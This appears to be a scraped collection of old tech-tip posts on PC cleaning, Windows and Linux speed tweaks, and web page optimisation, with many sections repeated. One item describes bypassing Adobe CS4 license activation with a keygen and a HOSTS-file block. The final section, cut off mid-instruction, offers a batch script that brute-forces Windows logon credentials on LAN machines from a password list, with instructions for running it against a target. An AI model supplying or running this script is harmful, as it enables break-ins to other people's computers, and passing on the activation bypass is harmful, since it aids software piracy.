Maintain your mechanical mouse: When a nonoptical mouse gets dirty, the pointer moves erratically. Unscrew the ring on the bottom of the unit and remove the ball. Then scrape the accumulated gunk off the two plastic rollers that are set 90 degrees apart inside the ball's housing.
Keep a neat keyboard: Turn the keyboard upside down and shake it to clear the crumbs from between the keys. If that doesn't suffice, blast it (briefly) with compressed air. If your keys stick or your keyboard is really dirty, pry the keys off for easier cleaning. Computer shops have special tools for removing keys, but you can also pop them off by using two pencils with broken tips as jumbo tweezers--just be sure to use a soft touch.
Make your monitor sparkle: Wipe the monitor case and clear its vents of obstructions, without pushing dust into the unit. Clean the screen with a standard glass cleaner and a lint-free cloth. If your monitor has a degauss button (look for a small magnet icon), push it to clear magnetic interference. Many LCDs can be cleaned with isopropyl alcohol; check with your LCD manufacturer. Wipe your LCD lightly: The underlying glass is fragile.
Check your power protection: Reseat the cables plugged into your surge protector. Check the unit's warning indicator, if it has one. Surge protectors may power your PC even after being compromised by a voltage spike (making your system susceptible to a second spike). If your power protector doesn't have a warning indicator and your area suffers frequent power outages, replace it with one that has such an indicator and is UL 1449 certified.
Swipe your CD and DVD media: Gently wipe each disc with a moistened, soft cloth. Use a motion that starts at the center of the disc and then moves outward toward the edge. Never wipe a disc in a circular motion.
Inside the Box
Before cracking open the case, turn off the power and unplug your PC. Ground yourself before you touch anything inside to avoid destroying your circuitry with a static charge. If you don't have a grounding wrist strap, you can ground yourself by touching any of various household objects, such as a water pipe, a lamp, or another grounded electrical device. Be sure to unplug the power cord before you open the case.
Use antistatic wipes to remove dust from inside the case. Avoid touching any circuit-board surfaces. Pay close attention to the power-supply fan, as well as to the case and to CPU fans, if you have them. Spray these components with a blast of compressed air to loosen dust; but to remove the dust rather than rearrange it, you should use a small vacuum.
If your PC is more than four years old, or if the expansion cards plugged into its motherboard are exceptionally dirty, remove each card, clean its contacts with isopropyl alcohol, and reseat it. If your system is less than a couple years old, however, just make sure each card is firmly seated by pressing gently downward on its top edge while not touching its face. Likewise, check your power connectors, EIDE connectors, and other internal cables for a snug fit.
While you have the case open, familiarize yourself with the CMOS battery on the motherboard. For its location, check the motherboard manual. If your PC is more than four or five years old, the CMOS battery may need to be replaced. (A system clock that loses time is one indicator of a dying CMOS battery.)
read part 2 to continue...
It's a nice sentiment, but reality is more like "Take good care of your PC, and it won't crash, lose your data, and cost you your job--probably." Follow these steps to stop PC problems before they stop you.
Your PC's two mortal enemies are heat and moisture. Excess heat accelerates the deterioration of the delicate circuits in your system. The most common causes of overheating are dust and dirt: Clogged vents and CPU cooling fans can keep heat-dissipating air from moving through the case, and even a thin coating of dust or dirt can raise the temperature of your machine's components.
Any grime, but especially the residue of cigarette smoke, can corrode exposed metal contacts. That's why it pays to keep your system clean, inside and out.
If your PC resides in a relatively clean, climate-controlled environment, an annual cleaning should be sufficient. But in most real-world locations, such as dusty offices or shop floors, your system may need a cleaning every few months.
All you need are lint-free wipes, a can of compressed air, a few drops of a mild cleaning solution such as Formula 409 or Simple Green in a bowl of water, and an antistatic wrist strap to protect your system when you clean inside the case.
Think Outside the Box
Before you get started cleaning, check around your PC for anything nearby that could raise its temperature (such as a heating duct or sunshine coming through a window). Also clear away anything that might fall on it or make it dirty, such as a bookcase or houseplants.
Always turn off and unplug the system before you clean any of its components. Never apply any liquid directly to a component. Spray or pour the liquid on a lint-free cloth, and wipe the PC with the cloth.
Clean the case: Wipe the case and clear its ventilation ports of any obstructions. Compressed air is great for this, but don't blow dust into the PC or its optical and floppy drives. Keep all cables firmly attached to their connectors on the case.
Maintain your mechanical mouse: When a nonoptical mouse gets dirty, the pointer moves erratically. Unscrew the ring on the bottom of the unit and remove the ball. Then scrape the accumulated gunk off the two plastic rollers that are set 90 degrees apart inside the ball's housing.
Keep a neat keyboard: Turn the keyboard upside down and shake it to clear the crumbs from between the keys. If that doesn't suffice, blast it (briefly) with compressed air. If your keys stick or your keyboard is really dirty, pry the keys off for easier cleaning. Computer shops have special tools for removing keys, but you can also pop them off by using two pencils with broken tips as jumbo tweezers--just be sure to use a soft touch.
Make your monitor sparkle: Wipe the monitor case and clear its vents of obstructions, without pushing dust into the unit. Clean the screen with a standard glass cleaner and a lint-free cloth. If your monitor has a degauss button (look for a small magnet icon), push it to clear magnetic interference. Many LCDs can be cleaned with isopropyl alcohol; check with your LCD manufacturer. Wipe your LCD lightly: The underlying glass is fragile.
Check your power protection: Reseat the cables plugged into your surge protector. Check the unit's warning indicator, if it has one. Surge protectors may power your PC even after being compromised by a voltage spike (making your system susceptible to a second spike). If your power protector doesn't have a warning indicator and your area suffers frequent power outages, replace it with one that has such an indicator and is UL 1449 certified.
Swipe your CD and DVD media: Gently wipe each disc with a moistened, soft cloth. Use a motion that starts at the center of the disc and then moves outward toward the edge. Never wipe a disc in a circular motion.
Inside the Box
Before cracking open the case, turn off the power and unplug your PC. Ground yourself before you touch anything inside to avoid destroying your circuitry with a static charge. If you don't have a grounding wrist strap, you can ground yourself by touching any of various household objects, such as a water pipe, a lamp, or another grounded electrical device. Be sure to unplug the power cord before you open the case.
Use antistatic wipes to remove dust from inside the case. Avoid touching any circuit-board surfaces. Pay close attention to the power-supply fan, as well as to the case and to CPU fans, if you have them. Spray these components with a blast of compressed air to loosen dust; but to remove the dust rather than rearrange it, you should use a small vacuum.
If your PC is more than four years old, or if the expansion cards plugged into its motherboard are exceptionally dirty, remove each card, clean its contacts with isopropyl alcohol, and reseat it. If your system is less than a couple years old, however, just make sure each card is firmly seated by pressing gently downward on its top edge while not touching its face. Likewise, check your power connectors, EIDE connectors, and other internal cables for a snug fit.
While you have the case open, familiarize yourself with the CMOS battery on the motherboard. For its location, check the motherboard manual. If your PC is more than four or five years old, the CMOS battery may need to be replaced. (A system clock that loses time is one indicator of a dying CMOS battery.)
read part 2 to continue...
Make your pc faster
1. First, run a scandisk or checkdisk. Let Windows fix any errors.
2. Run a disk cleanup utility...this will flush your temporary internet folder, trash can, temp system files, etc.
3. Delete any garbage files or data...if possible, run a Duplicate File Finder program.
4. Run Defrag on all partitions (NOTE: run this after you have deleted all trash and excess files!)
5. Run a registry cleaner utility and delete or get rid of any orphaned entries in that registry.
6 . Check your exisiting swap file for it's size and location (*will explain location later in the post). If you have alot of ram (i.e. 1 gig and over) set this swap file to something small, like 250 mb. The reason is that this will force Windows to load more into memory, resulting in faster performance (note: some games and applications actually require a certain sized swap file so check your applications performance after making a size adjustment for any error messages.)
7. Under XP, you can tell Windows to use Classic Style on your desktop, - this will remove the neat single click and internet-style desktop but for lower end systems this will improve performance in other areas, such as gaming and multi-tasking.
8. Run msconfig and under startup and only keep the programs that are essential to load in the tray icon (and hence stay resident in memory). Uncheck anything else non- essential, like an ATI or Nvidia control panel, Quicktime utility, Real Audio, etc.
9 . Upgrade drivers! Check for the latest BIOS, video, motherboard, sound, etc drivers from the manufacturers. Alot of my friends had chipsets on their motherboard that had advanced disk management capabilities or AGP port settings but the drivers weren't loaded for them so they were never being used. A simple upgrade realized a noticeable difference. For instance, they didn't have the latest driver for their AGP port so it was set to 1 x, instead of being used at 4x!
10. (OK, so this won't speed up your PC but it could save you alot of time and trouble later on!) After making all these improvements, make a working backup! I use Ghost, but for XP users you can also use System Restore...
-FOR ADVANCED USERS-
1 . Take a look under the hood (for IDE owners). How are your IDE devices configured? If you have more than 1 hard drive, put the master hard drive on the primary IDE channel and the secondary hard drive on the secondary IDE channel (most motherboards have two IDE channels).
2. Place all CDROM drives, DVD readers etc. on the secondary IDE channel (or SCSI bus, etc). This will reduce I/O contention with your master hard drive which should have your OS and apps installed...
3 . Remember when I mentioned the location of the swap file? OK, if you have 2 hard drives and you have one on the primary IDE channel and the other on the secondary IDE channel, move the swap file to a partition ON THE SECOND hard drive (on the secondary IDE channel). This will greatly improve system performance as the PC can write to the swap file while loading and running OS and system commands without I/O contention on the primary IDE channel!
4 . Take a look under the hood (for SCSI owners) What kind of SCSI do you have? If it's the newer Ultra 160 /320 etc cards then guess what? Any devices placed on the same bus will automatically default to the slowest drive on the chain...this means that if you have say, an Ultra 160 SCSI card, and it has an Ultra 160 drive (capable of transferring 160 mb/sec) on the same chain as a SCSI cdrom drive (capable of only 40 mb/sec) then the whole bus slows down to the 40 mb/sec speed...use different chains for the slower devices and maximize those hard drives!
5. Run a utility like WCPUID and check the settings...is your CPU/front speed bus/AGP port running as fast as they should be? If not, check your drivers and BIOS configuration options. Also, are all of your chipset features enabled? If not, then enable them! (usually done in your BIOS!)
6. Dig in to the BIOS...check settings like boot order, for example...is it checking the floppy first? Change this! Select your order to reflect the hard drive first, then CD, then floppy for a noticeable boot time improvement. Also disable any non-used on board peripherals...for instance, - does your motherboard come with an on-board NIC card? Guess what, if you don't use that NIC card and it is enabled it will eat up valuable CPU cycles and can be detrimental to your systems' performance. DISABLE THAT MUTHA! Also, see if you can play with memory timing and CPU clock frequencies (NOTE! This is for expert users only!) Set these timings to "Aggressive" and see what happens in your games and apps...Also, check to see what your video aperature is set to. If you have a video card with 128 megs of on-baord memory, your aperature should be set to this amount too. Read the BIOS owner manual for further non-general performance tricks or improvements! Do you have the latest BIOS firmware version?
7. Under hardware properties, check to see that everything is working properly, and fix any hardware contention issues. You'll see the dreaded yellow exclamation point (!) beside any hardware componenet that is not working correctly.
8 . Evaluate the potential for system/hardware upgrades...usually, the best bang for the buck is adding memory so buy all that you can afford (don't go much above 512 megs for Win 98 or ME). If you have a motherboard with an 8 x - capable AGP port but you are using an older 4 x video card, update it..
2. Run a disk cleanup utility...this will flush your temporary internet folder, trash can, temp system files, etc.
3. Delete any garbage files or data...if possible, run a Duplicate File Finder program.
4. Run Defrag on all partitions (NOTE: run this after you have deleted all trash and excess files!)
5. Run a registry cleaner utility and delete or get rid of any orphaned entries in that registry.
6 . Check your exisiting swap file for it's size and location (*will explain location later in the post). If you have alot of ram (i.e. 1 gig and over) set this swap file to something small, like 250 mb. The reason is that this will force Windows to load more into memory, resulting in faster performance (note: some games and applications actually require a certain sized swap file so check your applications performance after making a size adjustment for any error messages.)
7. Under XP, you can tell Windows to use Classic Style on your desktop, - this will remove the neat single click and internet-style desktop but for lower end systems this will improve performance in other areas, such as gaming and multi-tasking.
8. Run msconfig and under startup and only keep the programs that are essential to load in the tray icon (and hence stay resident in memory). Uncheck anything else non- essential, like an ATI or Nvidia control panel, Quicktime utility, Real Audio, etc.
9 . Upgrade drivers! Check for the latest BIOS, video, motherboard, sound, etc drivers from the manufacturers. Alot of my friends had chipsets on their motherboard that had advanced disk management capabilities or AGP port settings but the drivers weren't loaded for them so they were never being used. A simple upgrade realized a noticeable difference. For instance, they didn't have the latest driver for their AGP port so it was set to 1 x, instead of being used at 4x!
10. (OK, so this won't speed up your PC but it could save you alot of time and trouble later on!) After making all these improvements, make a working backup! I use Ghost, but for XP users you can also use System Restore...
-FOR ADVANCED USERS-
1 . Take a look under the hood (for IDE owners). How are your IDE devices configured? If you have more than 1 hard drive, put the master hard drive on the primary IDE channel and the secondary hard drive on the secondary IDE channel (most motherboards have two IDE channels).
2. Place all CDROM drives, DVD readers etc. on the secondary IDE channel (or SCSI bus, etc). This will reduce I/O contention with your master hard drive which should have your OS and apps installed...
3 . Remember when I mentioned the location of the swap file? OK, if you have 2 hard drives and you have one on the primary IDE channel and the other on the secondary IDE channel, move the swap file to a partition ON THE SECOND hard drive (on the secondary IDE channel). This will greatly improve system performance as the PC can write to the swap file while loading and running OS and system commands without I/O contention on the primary IDE channel!
4 . Take a look under the hood (for SCSI owners) What kind of SCSI do you have? If it's the newer Ultra 160 /320 etc cards then guess what? Any devices placed on the same bus will automatically default to the slowest drive on the chain...this means that if you have say, an Ultra 160 SCSI card, and it has an Ultra 160 drive (capable of transferring 160 mb/sec) on the same chain as a SCSI cdrom drive (capable of only 40 mb/sec) then the whole bus slows down to the 40 mb/sec speed...use different chains for the slower devices and maximize those hard drives!
5. Run a utility like WCPUID and check the settings...is your CPU/front speed bus/AGP port running as fast as they should be? If not, check your drivers and BIOS configuration options. Also, are all of your chipset features enabled? If not, then enable them! (usually done in your BIOS!)
6. Dig in to the BIOS...check settings like boot order, for example...is it checking the floppy first? Change this! Select your order to reflect the hard drive first, then CD, then floppy for a noticeable boot time improvement. Also disable any non-used on board peripherals...for instance, - does your motherboard come with an on-board NIC card? Guess what, if you don't use that NIC card and it is enabled it will eat up valuable CPU cycles and can be detrimental to your systems' performance. DISABLE THAT MUTHA! Also, see if you can play with memory timing and CPU clock frequencies (NOTE! This is for expert users only!) Set these timings to "Aggressive" and see what happens in your games and apps...Also, check to see what your video aperature is set to. If you have a video card with 128 megs of on-baord memory, your aperature should be set to this amount too. Read the BIOS owner manual for further non-general performance tricks or improvements! Do you have the latest BIOS firmware version?
7. Under hardware properties, check to see that everything is working properly, and fix any hardware contention issues. You'll see the dreaded yellow exclamation point (!) beside any hardware componenet that is not working correctly.
8 . Evaluate the potential for system/hardware upgrades...usually, the best bang for the buck is adding memory so buy all that you can afford (don't go much above 512 megs for Win 98 or ME). If you have a motherboard with an 8 x - capable AGP port but you are using an older 4 x video card, update it..
Make mp3 files smaller without losing quality
If you don't already have a copy of MusicMatch Jukebox, download one from musicmatch.com. The "Plus" version has more features and burns CDs faster, but the free version works just fine for converting files
1. Install music match box and then restart your computer if it asks
2. open music matchbox and click file convert files
3 . in the bottom right hand corner called 'destination type' change it to mp3 pro.
4.you can edit the bitrate but the higher the bitrate the bigger the size
5. choose the songs you want to convert and click start
***if you want to try something different repeat step one and 2 and instead of making the destintion type mp3 pro make it 'mp3pro vbr'
again the lower the setting the smaller the size.
1. Install music match box and then restart your computer if it asks
2. open music matchbox and click file convert files
3 . in the bottom right hand corner called 'destination type' change it to mp3 pro.
4.you can edit the bitrate but the higher the bitrate the bigger the size
5. choose the songs you want to convert and click start
***if you want to try something different repeat step one and 2 and instead of making the destintion type mp3 pro make it 'mp3pro vbr'
again the lower the setting the smaller the size.
Fixing slow logon time
My problem was a 1 min login delay due the aktiveds.dll that loads at startup (thanks to NicTech Networks Inc.). The following advice worked for me so I guess it works for any.dll made by NicTech since they all use the same registry folder....
Open up regedit.exe and find THIS folder. Navigate to it by clicking the +'s to expand
things like you would in Windows explorer:
HKEY_LOCAL_MACHINE\SOFTWA RE\Microsoft\Windows NT\CurrentVersion\Winlogon\No tify\Guardian
Right click over "Guardian" in the left pane.
Left click on "Permissions"
Left click "SYSTEM" once to highlight it.
Check "deny" in all boxes that you can at the bottom (Probably only 2)
Left click Apply
Left Click OK
Say "OK" to any warnings about permissions
**Reboot** the system
then problems solved
I got this information from another forum. I had this problem for about six weeks and was just about ready to reformat my hard drive. Worked great for me, hope this helps out somebody else.
Open up regedit.exe and find THIS folder. Navigate to it by clicking the +'s to expand
things like you would in Windows explorer:
HKEY_LOCAL_MACHINE\SOFTWA RE\Microsoft\Windows NT\CurrentVersion\Winlogon\No tify\Guardian
Right click over "Guardian" in the left pane.
Left click on "Permissions"
Left click "SYSTEM" once to highlight it.
Check "deny" in all boxes that you can at the bottom (Probably only 2)
Left click Apply
Left Click OK
Say "OK" to any warnings about permissions
**Reboot** the system
then problems solved
I got this information from another forum. I had this problem for about six weeks and was just about ready to reformat my hard drive. Worked great for me, hope this helps out somebody else.
Disabling Unneeded Windows Features
There are likely Windows Features running on the computer you don't need. To see what these may be and make any changes you want:
Start / Control Panel
Programs and Features
Click on Turn Windows features on or off
It typically takes a little while for this window to populate
Hovering the mouse over an entry gives a short description of it
From here you can check or uncheck any entries you want.
For example, you may not need Windows Fax and Scan
Click the OK button when you are done
Start / Control Panel
Programs and Features
Click on Turn Windows features on or off
It typically takes a little while for this window to populate
Hovering the mouse over an entry gives a short description of it
From here you can check or uncheck any entries you want.
For example, you may not need Windows Fax and Scan
Click the OK button when you are done
Crackers Beat Adobe CS4 License Activation Using A Simple Novice Trick
There is no doubt that cracker's always tend to be one step ahead of software creators, no matter how tough the software protection is they always come up with a method to bypass it sooner or later, But, Adobe seems to be very unlucky with their CS4 product release, first it was the Photoshop CS4 leak and now Adobe Creative Suite 4 got cracked and keygened within three days of its initial release, massive sized trial version of Adobe CS4 suite with crack patches made their way on torrent portals and file-sharing websites within days after release.
Adobe CS4 makes use of a license activation system to make Keygens and shared serial-number obsolete by blacklisting them via a central activation server, Surprisingly, smart crackers defeated the whole CS4 activation system using a simple trick, blocking access to the activation server using Windows or MAC HOSTS file .
After generating the key using the keygen, users simply need to block access to activate.adobe.com using their firewalls or Windows HOSTS file, effectively disabling the CS4 licensing system from verifying the registration serial-key.
Adobe CS4 makes use of a license activation system to make Keygens and shared serial-number obsolete by blacklisting them via a central activation server, Surprisingly, smart crackers defeated the whole CS4 activation system using a simple trick, blocking access to the activation server using Windows or MAC HOSTS file .
After generating the key using the keygen, users simply need to block access to activate.adobe.com using their firewalls or Windows HOSTS file, effectively disabling the CS4 licensing system from verifying the registration serial-key.
Boost up your site loading time..
This article by Drunkadmin had hit the front pages of Digg . It gives a good idea on optimizing web pages that will definitely increase a website's loading time. Host Images And Files Somewhere Else
Many users online at the same time can cause your server to handle a lot of requests. Its best that if you are using images in your site, make sure you upload them to image host sites like ImageShack . This will greatly reduce the bandwidth used by your server and also make your blog faster as image upload sites have a better speed.
Best place to host files of sizes 2-5mb (Any thing you need to provide users for download) is to use Google Pages as your host.
Optimize Your CSS
Nowadays many sites have started to use CSS based formatting. Even if Style Sheets are naturally more efficient than HTML tables you can still optimize the CSS code to make your website cleaner and faster. Having a clean CSS can reduce the time taken by the clients browser to decode your site.
Manual Clean Try to locate dispersed code and aggregate it together.
For example instead of margin- top: 20px;
margin-right: 10px;
margin-bottom: 20px;
margin-left: 10 px; Write margin: 20 px 10 px 20 px 10px; You can use the tool Clean CSS to optimize your CSS and remove useless property declaration and whitespaces. Optimize Your Images
Use image formats such as PNG, JPG,/JPEG And GIF. Always use the "Save for web" image quality which is available in most softwares such as Adobe Photoshop.
Use Height/Width Tag In Images
Most people dont add hieght and width tag to images. These tags make sure that the browser knows the dimensions of images before it has completed downloading the image. If the browser does not see those tags it will need to figure the size of the image, then load the image and then load the rest of the page.
When the height and width tags are included the browser will automatically know the size of the image. As a consequence it will be able to hold a place for the image and load the rest of the page simultaneously. Apart from the improvement on the load time of the page this method is also more user friendly since the visitor can start reading the text or other information while the image is being downloaded. Use Less Javascript!
Some people tend to add a lot of javascript effects to their site. Using excessive javascript animations may cause clients browser to freeze for some time annoying the user.
Optimize Links
Make sure that the outlinks from your blog and link between posts are optimized well. For example if link is www.domain.com/blog make sure you write it as www.domain.com/blog/ to prevent one extra request which would be made to the server if the former link is used.
The improvement on the loading time of links ending with a slash will not be astronomical, but when it comes to speeding up a website every small bit helps!
Reduce HTTP Requests To Server
When opening a web page every object (images, scripts and the line) will require a round trip to the server. This latency can add several seconds to the load time of your site. Make sure to reduce the number of objects and to combine CSS files and scripts together.
Many users online at the same time can cause your server to handle a lot of requests. Its best that if you are using images in your site, make sure you upload them to image host sites like ImageShack . This will greatly reduce the bandwidth used by your server and also make your blog faster as image upload sites have a better speed.
Best place to host files of sizes 2-5mb (Any thing you need to provide users for download) is to use Google Pages as your host.
Optimize Your CSS
Nowadays many sites have started to use CSS based formatting. Even if Style Sheets are naturally more efficient than HTML tables you can still optimize the CSS code to make your website cleaner and faster. Having a clean CSS can reduce the time taken by the clients browser to decode your site.
Manual Clean Try to locate dispersed code and aggregate it together.
For example instead of margin- top: 20px;
margin-right: 10px;
margin-bottom: 20px;
margin-left: 10 px; Write margin: 20 px 10 px 20 px 10px; You can use the tool Clean CSS to optimize your CSS and remove useless property declaration and whitespaces. Optimize Your Images
Use image formats such as PNG, JPG,/JPEG And GIF. Always use the "Save for web" image quality which is available in most softwares such as Adobe Photoshop.
Use Height/Width Tag In Images
Most people dont add hieght and width tag to images. These tags make sure that the browser knows the dimensions of images before it has completed downloading the image. If the browser does not see those tags it will need to figure the size of the image, then load the image and then load the rest of the page.
When the height and width tags are included the browser will automatically know the size of the image. As a consequence it will be able to hold a place for the image and load the rest of the page simultaneously. Apart from the improvement on the load time of the page this method is also more user friendly since the visitor can start reading the text or other information while the image is being downloaded. Use Less Javascript!
Some people tend to add a lot of javascript effects to their site. Using excessive javascript animations may cause clients browser to freeze for some time annoying the user.
Optimize Links
Make sure that the outlinks from your blog and link between posts are optimized well. For example if link is www.domain.com/blog make sure you write it as www.domain.com/blog/ to prevent one extra request which would be made to the server if the former link is used.
The improvement on the loading time of links ending with a slash will not be astronomical, but when it comes to speeding up a website every small bit helps!
Reduce HTTP Requests To Server
When opening a web page every object (images, scripts and the line) will require a round trip to the server. This latency can add several seconds to the load time of your site. Make sure to reduce the number of objects and to combine CSS files and scripts together.
Boost HDD Performance
Often I hear my friends complaining about slow hard drives. Yesterday one of my classmates asked me how to boost the performance of his new harddrive. I told him about a simple and very easy tweak, that would significantly increase the performance of his hard drive.
Win9 x sets DMA to OFF by default. You have to switch it on. In theory, enabling DMA increases UDMA Hard Disk access to 33.3 MB/sec. In practice, speed will increase substantially from the old standard of 16 MB/sec. Furthermore, DMA uses only 25 % of CPU resources compared to 40 % normally. Nearly all 5400 rpm/7200rpm, and some lower speed, drives, support DMA.
Now I'll tell you about it. Ready ?
Right-click on "my computer". Now click on "properties". Now search for "devide manager" and click properties of your hard drive. It should have an option called "DMA". By enabling this, your hard drive should show an increase in performance. Also, this method can increase the transfer rate of your CD/DVD-ROM or CD/DVD- Writer, possibly eliminating those under buffer run errors.
Again, an easy tweak which could improve you hard drive's performance
Win9 x sets DMA to OFF by default. You have to switch it on. In theory, enabling DMA increases UDMA Hard Disk access to 33.3 MB/sec. In practice, speed will increase substantially from the old standard of 16 MB/sec. Furthermore, DMA uses only 25 % of CPU resources compared to 40 % normally. Nearly all 5400 rpm/7200rpm, and some lower speed, drives, support DMA.
Now I'll tell you about it. Ready ?
Right-click on "my computer". Now click on "properties". Now search for "devide manager" and click properties of your hard drive. It should have an option called "DMA". By enabling this, your hard drive should show an increase in performance. Also, this method can increase the transfer rate of your CD/DVD-ROM or CD/DVD- Writer, possibly eliminating those under buffer run errors.
Again, an easy tweak which could improve you hard drive's performance
10 ways to Tweak your Linux Boot Process
Linux rarely needs to be rebooted. But when it does, it's often slow to boot. Fortunately, there are ways to speed things up. Some of these methods are not terribly difficult. (although some, unfortunately, are). Let's take a look.
#1: Disable unnecessary services
Depending upon the use of the machine, plenty of services won't be needed. Using Linux just for a desktop? Then you won't need sendmail, httpd, and many other services. If your server is only a web server, you can shut off many services as well. To do this, you can go to the Administration menu and take a look at the Services entry. Just deselect all of the services you don't want to start.
#2: Disable unnecessary kernel modules
If your desktop is wired to the Ethernet, you don't need to have a wireless kernel module loaded. This task is a bit more difficult and will require a kernel recompilation, which is not the easiest task to undertake. To do this, you will need the kernel sources. Then, follow the standard steps for compiling a kernel. The difference is that you're going to go through your system and disable all of the modules you don't need. The best way to find out what kernel modules currently install and run on your system is to install Bootchart. Not only will this give you a good list of modules, it will illustrate for you what is happening during your system boot. You can also issue the command chkconfig -list | grep 3:on to find out what services are running. Once you know what loading modules you don't need, you can remove them during a kernel recompilation. While you're at it, compile the kernel to exactly match your architecture.
#3: Use a lightweight window manager instead of GNOME or KDE
I plug smaller footprint window managers for a reason - they drastically reduce graphical boot time. Instead of having to wait that extra 30 to 60 seconds for GNOME or KDE to boot up, why not wait two to 10 seconds for Enlightenment or XFCE to boot up? Not only will they save you boot time, they will save your memory and the headache of dealing with bloatware.
#4: Use a text-based login instead of a graphical login
Most of my Linux machines boot to run level 3 instead of run level 5. This will halt at the text-based login, where I only have to log in and issue startx to start my desktop of choice. The graphical logins do two things: increase load times and create headaches trying to recover from an X windows fubar.
#5: Use a lighter-weight distribution
Instead of loading the heavyweight Fedora, why not try a Gentoo, Arch, or Puppy Linux? The boot times for these smaller distributions are far faster than the more bloated Fedora (and even Ubuntu). Of the larger distributions, OpenSuSE claims to boot the fastest, but I have not personally tested this. Between the latest Fedora and Ubuntu, Ubuntu blows Fedora's boot times away (and that is out of the box).
#6: Use an OpenBIOS
If you're savvy enough to upgrade your PC's firmware, you might consider migrating to an open source BIOS. One caveat to using open firmware is that it allows Linux to actually initialize the hardware as it boots (instead of relying on the BIOS). On top of that, many open BIOSes can be configured to meet your machine's specific needs. If you don't go the open BIOS route, you can at least configure your BIOS to not search for a floppy drive that's not there or to boot directly to the first hard drive (instead of the CD drive first).
#7: Avoid dhcp
If you are working on a home network (or a small business network) where address lease isn't a problem, go with static IP addresses. This will keep your machine from having to call out to a dhcp server to get an IP address. If you take this approach, make sure you configure your /etc/resolve.conf to reflect your DNS server addresses as well.
#8: If you can spare it, get rid of hotplug
Hotplug is the system that allows you to plug in new devices and use them immediately. If you know your server won't need this system, delete it. This will cut down on boot time. On many systems, hotplugging consumes much of the boot time. Removing hotplug will vary depending upon the distribution you use. NOTE: udev has, for the most part, replaced hotplug. But if you're running an older distribution, this does apply.
#9: If you are REALLY daring, you could give initng a try
The initng system serves as a replacement for the sysvinit system and promises to drastically decrease boot times in UNIX-like operating systems. If you would like to see the initng system in action, you can give the Pingwinek livecd a try.
#10: Use a hack with Debian
If you're using Debian, there is a simple hack you can use to switch your startup scripts to run in parallel. If you look at the /etc/init.d/rc script, you will see: CONCURRENCY=none around line 24. Change this line to CONCURRENCY=shell and you should see a reduction in boot times. That's about it. Of course there are always more and better hacks out there. But the above should mostly cover everything. The good news is that you're most likely already running Linux, so the burden of boot times is generally eased by the infrequency of reboots.
#1: Disable unnecessary services
Depending upon the use of the machine, plenty of services won't be needed. Using Linux just for a desktop? Then you won't need sendmail, httpd, and many other services. If your server is only a web server, you can shut off many services as well. To do this, you can go to the Administration menu and take a look at the Services entry. Just deselect all of the services you don't want to start.
#2: Disable unnecessary kernel modules
If your desktop is wired to the Ethernet, you don't need to have a wireless kernel module loaded. This task is a bit more difficult and will require a kernel recompilation, which is not the easiest task to undertake. To do this, you will need the kernel sources. Then, follow the standard steps for compiling a kernel. The difference is that you're going to go through your system and disable all of the modules you don't need. The best way to find out what kernel modules currently install and run on your system is to install Bootchart. Not only will this give you a good list of modules, it will illustrate for you what is happening during your system boot. You can also issue the command chkconfig -list | grep 3:on to find out what services are running. Once you know what loading modules you don't need, you can remove them during a kernel recompilation. While you're at it, compile the kernel to exactly match your architecture.
#3: Use a lightweight window manager instead of GNOME or KDE
I plug smaller footprint window managers for a reason - they drastically reduce graphical boot time. Instead of having to wait that extra 30 to 60 seconds for GNOME or KDE to boot up, why not wait two to 10 seconds for Enlightenment or XFCE to boot up? Not only will they save you boot time, they will save your memory and the headache of dealing with bloatware.
#4: Use a text-based login instead of a graphical login
Most of my Linux machines boot to run level 3 instead of run level 5. This will halt at the text-based login, where I only have to log in and issue startx to start my desktop of choice. The graphical logins do two things: increase load times and create headaches trying to recover from an X windows fubar.
#5: Use a lighter-weight distribution
Instead of loading the heavyweight Fedora, why not try a Gentoo, Arch, or Puppy Linux? The boot times for these smaller distributions are far faster than the more bloated Fedora (and even Ubuntu). Of the larger distributions, OpenSuSE claims to boot the fastest, but I have not personally tested this. Between the latest Fedora and Ubuntu, Ubuntu blows Fedora's boot times away (and that is out of the box).
#6: Use an OpenBIOS
If you're savvy enough to upgrade your PC's firmware, you might consider migrating to an open source BIOS. One caveat to using open firmware is that it allows Linux to actually initialize the hardware as it boots (instead of relying on the BIOS). On top of that, many open BIOSes can be configured to meet your machine's specific needs. If you don't go the open BIOS route, you can at least configure your BIOS to not search for a floppy drive that's not there or to boot directly to the first hard drive (instead of the CD drive first).
#7: Avoid dhcp
If you are working on a home network (or a small business network) where address lease isn't a problem, go with static IP addresses. This will keep your machine from having to call out to a dhcp server to get an IP address. If you take this approach, make sure you configure your /etc/resolve.conf to reflect your DNS server addresses as well.
#8: If you can spare it, get rid of hotplug
Hotplug is the system that allows you to plug in new devices and use them immediately. If you know your server won't need this system, delete it. This will cut down on boot time. On many systems, hotplugging consumes much of the boot time. Removing hotplug will vary depending upon the distribution you use. NOTE: udev has, for the most part, replaced hotplug. But if you're running an older distribution, this does apply.
#9: If you are REALLY daring, you could give initng a try
The initng system serves as a replacement for the sysvinit system and promises to drastically decrease boot times in UNIX-like operating systems. If you would like to see the initng system in action, you can give the Pingwinek livecd a try.
#10: Use a hack with Debian
If you're using Debian, there is a simple hack you can use to switch your startup scripts to run in parallel. If you look at the /etc/init.d/rc script, you will see: CONCURRENCY=none around line 24. Change this line to CONCURRENCY=shell and you should see a reduction in boot times. That's about it. Of course there are always more and better hacks out there. But the above should mostly cover everything. The good news is that you're most likely already running Linux, so the burden of boot times is generally eased by the infrequency of reboots.
LAN Remote user - Dictionary Attack (hack any system in lan)
Create and use this Batch file to launch a Dictionary attack and find the Windows logon Credentials in a LAN.
You need a Dictionary text file to proceed further to launch this attack successfully. Just Follow the steps below, 1. Open up a Notepad file.
2. Copy and paste the below code and save it as a Batch file with.bat extension.@echo off
if "%1''=="" goto fin
if "%2''=="" goto fin
del logfile.txt
FOR /F "tokens=1'' %%i in (passlist.txt) do ^
echo %%i && ^
net use \\%1 \ipc$ %%i /u:%1 \%2 2>>logfile.txt && ^
echo %time% %date% >> output.txt && ^
echo \\%1 \ipc$ acct: %2 pass: %%i >> output.txt && goto end
:fin
echo *****Done***** 3. Make sure that you have a Dictionary password Text file in the same location where you are going to execute this program. ( Name should be passlist.txt )
4. Now goto the command prompt and then execute this program from there, along with the Target compters IP address or Hostname and the Valid Username. The Syntax should be like this,...
